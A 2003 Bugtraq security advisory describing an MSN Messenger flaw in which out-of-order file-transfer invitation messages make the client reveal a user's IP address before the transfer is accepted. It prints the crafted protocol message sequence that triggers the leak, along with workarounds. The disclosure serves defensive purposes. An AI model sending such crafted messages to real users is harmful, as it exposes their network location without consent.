MSN messenger improper file transfer ip-address field parsing
From: ronan o kane (hi_t3ch_ass4ssin_at_hotmail.com)
Date: 11/21/03
- Previous message: Tri Huynh: "Xitami Denial of Service in Handling malformed request"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: 21 Nov 2003 02:38:27 -0000 To: bugtraq@securityfocus.com('binary' encoding is not supported, stored as-is)
MSN Messenger bug
Release Date:
20/11/03
Discovery date:
Sometime around 2001 or 2000
Versions Affected:
------------------
Msn messenger 1.0 -> msn messenger 6.0.0602
Windows messenger all versions
Not Affected:
------------
Msn Messenger 6.1, trillian, gaim
Description:
-----------
A bug exists in Microsofts msn messenger client.
MSN messenger improperly parses the fields during
file transfer invitation requests. Particularly
the request ip field. This makes it possible to
trick the msn client into giving *away* the users
ip address without him/her accepting the file
transfer first.
The bug happens when a specially crafted MSG requests
are issued to the switchboard server and then
relayed onto the client. Upon receiving each
request from the switchboard the client seems
to incorrectly process the Ip-Address field
without first waiting for userB to accept the
file that is being attempted to be sent. It seems
the reason for this bug is that the msn client
seems to unsafelly depend on client of userB to send the
sequences and fields in those sequences in the
order in which is expected. A malicious user however
could construct a program that sends them in the
incorrect order and requests userB for the ip
address before userB asks userA for its ip address
and userBs client will falselly hand out the ip
address. This circumvents the whole thing and
allows us to invade the users privacy by handing
out such sensitive info.
Below are example of *expected* exchange of data
(this however can be exploited)
Example:
>>> MSG 4 N 277
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8
Application-Name: File Transfer
Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}
Invitation-Command: INVITE
Invitation-Cookie: 33267
Application-File: readme.txt
Application-FileSize: 60904
<<< MSG example@passport.com Tim 179
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8
Invitation-Command: ACCEPT
Invitation-Cookie: 33267
Launch-Application: FALSE
Request-Data: IP-Address:
>>> MSG 4 N 238
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8
Invitation-Command: ACCEPT
Invitation-Cookie: 33267
IP-Address: 10.44.102.65
Port: 6891
AuthCookie: 93301
Launch-Application: FALSE
Request-Data: IP-Address:
However to exploit the bug we would send the below
"MSG 1 N 275\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
"\r\n"
"Application-Name: File Transfer\r\n"
"Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n"
"Invitation-Command: INVITE\r\n"
"Invitation-Cookie: 1\r\n"
"Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n"
"Application-FileSize: 10\r\n"
"MSG 2 N 191\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
"\r\n"
"Invitation-Command: ACCEPT\r\n"
"Invitation-Cookie: 1\r\n"
"AuthCookie: 10\r\n"
"Launch-Application: FALSE\r\n"
"Request-Data: IP-Address:\r\n"
"MSG 3 N 143\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
"\r\n"
"Invitation-Command: CANCEL\r\n"
"Invitation-Cookie: 1\r\n"
"Cancel-Code: TIMEOUT\r\n"
We should get a response of something like below
Invitation-Command: ACCEPT
Invitation-Cookie: 1
IP-Address: 81.131.24.31
Port: 6892
PortX: 11181
AuthCookie: 15784036
Launch-Application: FALSE
Request-Data: IP-Address:
Code will be made public sometime in the future to
demonstrate the bug.
Severity:
~~~~~~~~~
This bug has been activelly exploited in the wild.
Due to the transition to the new msnp protocol
however many of the variants that derived due to
sniffing of the original now do not work but it
is only a matter of time when a new version is
made widelly available.
Possible fix/workaround:
~~~~~~~~~~~~~~~~~~~~~~~
The problem may be fixed to some extend by using the
messenger disallow list to block any uninvited users
that are not on your allow list. This way you cannot
be exploited unless you specifically trust the user
and he is on your allow list.
A mechanism must be included in the msn messenger
client implementation that first checks that userB
has accepted the file userA is trying to send
before processing the Request-Data: Ip-Address:
field. It seems pretty sad that MS cannot even
get this right even if its later rather than sooner,
especially when all third party clients seem to have
such a mechanism in place thats worked effectivelly.
I have tested this technique extensivelly with others
such as trillian and these seem to be safe.
Upgrade to msn messenger 6.1
Credit:
Discovery: Brice aka THR
Feedback
Please send suggestions or comments to:
hi_tech_assassin@hackermail.com
- Previous message: Tri Huynh: "Xitami Denial of Service in Handling malformed request"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
